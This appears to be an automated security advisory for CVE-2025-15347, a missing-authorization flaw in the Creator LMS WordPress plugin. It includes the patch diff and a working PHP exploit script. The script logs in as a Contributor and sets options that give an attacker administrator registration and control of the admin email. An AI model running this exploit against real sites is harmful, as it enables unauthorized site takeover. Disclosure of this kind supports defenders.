Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-15347: Creator LMS – The LMS for Creators, Coaches, and Trainers <= 1.1.12 – Missing Authorization to Authenticated (Contributor+) Arbitrary Options Update (creatorlms)

CVE ID CVE-2025-15347
Plugin creatorlms
Severity High (CVSS 8.8)
CWE 862
Vulnerable Version 1.1.12
Patched Version 1.1.13
Disclosed January 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15347:
The Creator LMS WordPress plugin, versions up to and including 1.1.12, contains a missing authorization vulnerability in its REST API settings endpoint. This flaw allows authenticated users with the ‘edit_posts’ capability, such as Contributors, to update arbitrary WordPress options, potentially leading to privilege escalation and site compromise. The CVSS score of 8.8 reflects the high severity of this issue.

Atomic Edge research identifies the root cause in the `get_items_permissions_check` function within the `SettingsController` class. In the vulnerable version, this function returns `current_user_can(‘edit_posts’)` (line 492 in `creatorlms/includes/Rest/V1/SettingsController.php`). The function serves as the permission callback for the `update_items` REST endpoint registered at `/wp-json/creatorlms/v1/settings`. The `update_items` method (lines 192-227) directly passes user-supplied key-value pairs to the `update_option` function without validating that the option keys belong to the plugin’s allowed set.

Exploitation requires an authenticated attacker with at least Contributor-level permissions. The attacker sends a PUT or POST request to the REST API endpoint `/wp-json/creatorlms/v1/settings`. The request body contains a JSON object with arbitrary WordPress option keys and their desired values. For example, an attacker could set `admin_email` to their own email address or modify user role capabilities. The plugin’s `update_items` method processes each key-value pair and calls `update_option` for each one, applying the changes system-wide.

The patch in version 1.1.13 implements three key changes. First, it replaces the permission callback for the `update_items` endpoint from `get_items_permissions_check` to `update_items_permissions_check` (line 51). Both functions now require the `manage_options` capability instead of `edit_posts`. Second, the patch adds a new private method `is_valid_option_key` (lines 235-306) that validates option keys against a hardcoded whitelist of 48 plugin-specific options. Third, the `update_items` method now calls this validation function (lines 215-217) before processing each option, skipping any keys not in the whitelist.

Successful exploitation enables complete site takeover. Attackers can modify any WordPress option, including those controlling user roles, administrator emails, site URLs, and authentication settings. This allows privilege escalation to administrator, user registration manipulation, site defacement, or denial of service by corrupting critical configuration. The arbitrary options update capability effectively grants attackers full control over the WordPress installation.

Differential between vulnerable and patched code

Code Diff 
--- a/creatorlms/creatorlms.php
+++ b/creatorlms/creatorlms.php
@@ -3,7 +3,7 @@
  * Plugin Name:     Creator LMS
  * Plugin URI:      https://getwpfunnels.com/
  * Description:     Build, sell, and manage online courses easily with the best WordPress LMS plugin made for creators, coaches, and educators.
- * Version:         1.1.12
+ * Version:         1.1.13
  * Author:          WPFunnels Team
  * Author URI:      https://getwpfunnels.com
  * Text Domain:     creatorlms
--- a/creatorlms/includes/CreatorLMS.php
+++ b/creatorlms/includes/CreatorLMS.php
@@ -222,7 +222,7 @@
 	 *
 	 * @var string
 	 */
-	const VERSION = '1.1.12';
+	const VERSION = '1.1.13';

 	/**
 	 * Plugin slug.
--- a/creatorlms/includes/Rest/V1/SettingsController.php
+++ b/creatorlms/includes/Rest/V1/SettingsController.php
@@ -48,7 +48,7 @@
 				array(
 					'methods'             => WP_REST_Server::EDITABLE,
 					'callback'            => array( $this, 'update_items' ),
-					'permission_callback' => array( $this, 'get_items_permissions_check' ),
+					'permission_callback' => array( $this, 'update_items_permissions_check' ),
 				),
 				'schema' => array( $this, 'get_public_item_schema' ),
 			)
@@ -210,6 +210,10 @@
 			if ( 'payment-gateway' === $group_id && is_array( $value ) && isset( $value['value'] ) ) {
 				$value = $value['value'];
 			}
+
+			if ( ! $this->is_valid_option_key( $key ) ) {
+				continue;
+			}

 			update_option( $key, $value );
 			flush_rewrite_rules(true);
@@ -224,6 +228,76 @@
 	}

 	/**
+	 * Validate if the option key is valid.
+	 *
+	 * @param string $key The option key.
+	 * @return bool True if valid, false otherwise.
+	 *
+	 * @since 1.0.0
+	 */
+	private function is_valid_option_key( $key ) {
+		$keys = array(
+			'creator_lms_course_page_id',
+			'creator_lms_profile_page_id',
+			'creator_lms_checkout_page_id',
+			'creator_lms_thank_you_page_id',
+			'creator_lms_privacy_policy_page_id',
+			'creator_lms_terms_page_id',
+			'creator_lms_registration_page_id',
+			'creator_lms_courses_per_page',
+			'creator_lms_archive_page_layout',
+			'creator_lms_archive_page_layout_style',
+			'creator_lms_archive_page_filter_is_enabled',
+			'creator_lms_archive_page_filters',
+			'creator_lms_archive_page_sorting_is_enabled',
+			'creator_lms_archive_page_search_is_enabled',
+			'creator_lms_archive_page_category_is_enabled',
+			'creator_lms_archive_page_row',
+			'creator_lms_single_course_page_features',
+			'creator_lms_single_course_page_layout',
+			'creator_lms_columns_per_row',
+			'creator_lms_container_width',
+			'creator_lms_debug_mode',
+			'creator_lms_primary_color_scheme',
+			'creator_lms_primary_hover_color_scheme',
+			'creator_lms_heading_color_scheme',
+			'creator_lms_body_text_color_scheme',
+			'creator_lms_body_progress_color_scheme',
+			'creator_lms_checkout_page_layout_type',
+			'creator_lms_leaderboard_settings',
+			'creator_lms_privacy_policy_message',
+			'creator_lms_guest_checkout',
+			'creator_lms_allow_purchase_without_login',
+			'creator_lms_permalink',
+			'creatorlms_offline_settings',
+			'creatorlms_stripe_settings',
+			'creatorlms_paypal_settings',
+			'creatorlms_mollie_settings',
+			'creatorlms_razorpay_settings',
+			'creatorlms_authorize_net_settings',
+			'creator_lms_currency',
+			'creator_lms_currency_pos',
+			'creator_lms_price_thousand_sep',
+			'creator_lms_price_decimal_sep',
+			'creator_lms_price_num_decimals',
+			'creator_lms_tax_enabled',
+			'creator_lms_tax_label',
+			'creator_lms_prices_include_tax',
+			'creator_lms_eu_vat_enabled',
+			'creator_lms_disable_vat_validation',
+			'creator_lms_vat_number_label',
+			'creator_lms_fallback_tax_rate',
+			'creator_lms_existing_tax_rates',
+			'creator_lms_new_tax_rates',
+			'creator_lms_tax_rates',
+			'creator_lms_countries',
+			'creator_lms_states',
+		);
+		return in_array( $key, $keys, true );
+	}
+
+
+	/**
 	 * Get a single item (setting) for a specific group.
 	 *
 	 * @param WP_REST_Request $request The request object.
@@ -415,7 +489,7 @@
 	 * @since 1.0.0
 	 */
 	public function get_items_permissions_check( $request ) {
-		return current_user_can( 'edit_posts' );
+		return current_user_can( 'manage_options' );
 	}

 	/**
@@ -427,6 +501,6 @@
 	 * @since 1.0.0
 	 */
 	public function update_items_permissions_check( $request ) {
-		return current_user_can( 'edit_posts' );
+		return current_user_can( 'manage_options' );
 	}
 }
--- a/creatorlms/vendor/composer/installed.php
+++ b/creatorlms/vendor/composer/installed.php
@@ -5,7 +5,7 @@
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
-        'reference' => 'cf5619a591f5a719a7572ee5b34b39cc593c16ca',
+        'reference' => '0eb1ec396b40de0d6ec425c0493e2225c68dc51f',
         'name' => 'rextheme/plugin_name',
         'dev' => false,
     ),
@@ -36,7 +36,7 @@
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
-            'reference' => 'cf5619a591f5a719a7572ee5b34b39cc593c16ca',
+            'reference' => '0eb1ec396b40de0d6ec425c0493e2225c68dc51f',
             'dev_requirement' => false,
         ),
     ),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15347 - Creator LMS <= 1.1.12 - Missing Authorization to Authenticated (Contributor+) Arbitrary Options Update

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Step 1: Authenticate to WordPress and obtain nonce for REST API
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$response = curl_exec($ch);

// Step 2: Extract the REST API nonce from the admin page
$admin_url = $target_url . '/wp-admin/';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Look for the REST API nonce in the page
preg_match('/"rest_nonce":"([a-f0-9]+)"/', $response, $matches);
$rest_nonce = isset($matches[1]) ? $matches[1] : '';

if (empty($rest_nonce)) {
    die('Failed to obtain REST API nonce. Authentication may have failed.');
}

// Step 3: Exploit the vulnerability by updating arbitrary WordPress options
$exploit_url = $target_url . '/wp-json/creatorlms/v1/settings';

// Example payload: Change admin email to attacker-controlled address
// Other dangerous options: 'default_role' => 'administrator', 'users_can_register' => '1'
$payload = json_encode(array(
    'admin_email' => 'attacker@example.com',
    'users_can_register' => '1',
    'default_role' => 'administrator'
));

$headers = array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $rest_nonce
);

curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo "HTTP Response Code: $http_coden";
echo "Response: $responsen";

if ($http_code === 200) {
    echo "SUCCESS: Arbitrary options updated. Check if admin_email was changed.n";
} else {
    echo "FAILED: Exploit attempt unsuccessful. Site may be patched or permissions insufficient.n";
}

curl_close($ch);

?>

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